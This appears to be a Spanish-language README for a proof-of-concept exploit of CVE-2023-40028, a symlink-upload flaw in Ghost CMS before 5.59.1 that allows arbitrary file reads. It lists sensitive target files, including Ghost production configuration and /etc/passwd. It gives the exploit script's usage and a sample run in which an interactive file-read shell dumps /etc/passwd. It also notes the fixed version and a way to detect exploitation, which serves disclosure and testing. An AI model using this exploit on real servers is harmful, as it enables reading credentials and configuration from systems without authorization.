
POC para CVE-2023-40028: Lectura Arbitraria de Archivos en Ghost CMS
Esta Prueba de Concepto (POC) se puede utilizar para explotar CVE-2023-40028 y lograr acceso de lectura de archivos en Ghost CMS.
Ghost es un sistema de gestión de contenidos (CMS) de código abierto. Las versiones anteriores a la 5.59.1 están sujetas a una vulnerabilidad que permite a usuarios autenticados subir archivos que son enlaces simbólicos. Esto puede explotarse para realizar una lectura arbitraria de cualquier archivo en el sistema operativo anfitrión. Los administradores del sitio pueden verificar la explotación de este problema buscando enlaces simbólicos desconocidos dentro de la carpeta content/ de Ghost. La versión 5.59.1 contiene una corrección para este problema. Se recomienda a todos los usuarios actualizar. No existen soluciones alternativas conocidas para esta vulnerabilidad.
Gravedad: 6.5 MEDIO Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Algunos archivos de texto plano no binarios que podrían ser de interés:
/etc/hosts Resolución DNS local de Linux/etc/passwd Cuentas de usuario de Linux/etc/group Grupos de usuario de Linux/var/lib/ghost/config.local.json Configuración local de Ghost CMS/var/lib/ghost/config.production.json Configuración de producción de Ghost CMSusage: ghost_fileread.py [-h] -t URL [-f FILE] [-u USERNAME] [-p PASSWORD] [-c COOKIE] [-x PROXY] [--timeout TIMEOUT] [-a USERAGENT]
POC para CVE-2023-40028 (Subida de enlace simbólico a lectura arbitraria de archivos en Ghost CMS)
options:
-h, --help show this help message and exit
-t URL, --url URL Target Ghost CMS URL (e.g., http://target-ghost-cms)
-f FILE, --file FILE File path to read
-u USERNAME, --username USERNAME
Username for authentication
-p PASSWORD, --password PASSWORD
Password for authentication
-c COOKIE, --cookie COOKIE
Cookie for authentication
-x PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
--timeout TIMEOUT Request timeout
-a USERAGENT, --useragent USERAGENT
User agent to use when sending requests
$ python3 ghost_fileread.py -t http://<url> -u '<username>' -p '<password>'
[*] Verificando autenticación (usuario/contraseña) ...
[+] Sesión de administrador creada exitosamente.
Bienvenido al shell de lectura de archivos de Ghost. Escriba help o ? para listar comandos.
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash